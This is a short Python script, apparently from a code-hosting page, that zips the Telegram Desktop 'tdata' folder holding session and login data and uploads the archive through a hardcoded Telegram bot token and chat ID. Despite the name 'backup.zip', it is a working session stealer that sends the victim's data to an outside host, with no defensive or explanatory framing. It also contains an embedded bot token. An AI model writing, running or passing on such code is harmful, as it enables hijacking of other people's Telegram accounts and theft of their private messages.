44 lines
1.3 KiB
Python
44 lines
1.3 KiB
Python
import os
|
|
import zipfile
|
|
import requests
|
|
|
|
# ================= CONFIG =================
|
|
BOT_TOKEN = "8417181461:AAH_1SXDPA3b_SeDhUy6RcNWM_bny9SOmeI"
|
|
CHAT_ID = "-5204345644"
|
|
|
|
SOURCE_DIR = "%APPDATA%\\Telegram Desktop\\tdata"
|
|
EXCLUDE_DIR_NAME = "user_data"
|
|
ZIP_PATH = "backup.zip"
|
|
# =========================================
|
|
|
|
|
|
def zip_directory(source_dir, zip_path, exclude_dir_name):
|
|
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf:
|
|
for root, dirs, files in os.walk(source_dir):
|
|
# Exclude the directory
|
|
dirs[:] = [d for d in dirs if d != exclude_dir_name]
|
|
|
|
for file in files:
|
|
full_path = os.path.join(root, file)
|
|
relative_path = os.path.relpath(full_path, source_dir)
|
|
zipf.write(full_path, relative_path)
|
|
|
|
|
|
def send_to_telegram(zip_path, bot_token, chat_id):
|
|
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
|
|
with open(zip_path, "rb") as f:
|
|
response = requests.post(
|
|
url,
|
|
data={"chat_id": chat_id},
|
|
files={"document": f},
|
|
timeout=120
|
|
)
|
|
response.raise_for_status()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
zip_directory(SOURCE_DIR, ZIP_PATH, EXCLUDE_DIR_NAME)
|
|
send_to_telegram(ZIP_PATH, BOT_TOKEN, CHAT_ID)
|
|
print("✅ Archive sent to Telegram successfully")
|
|
|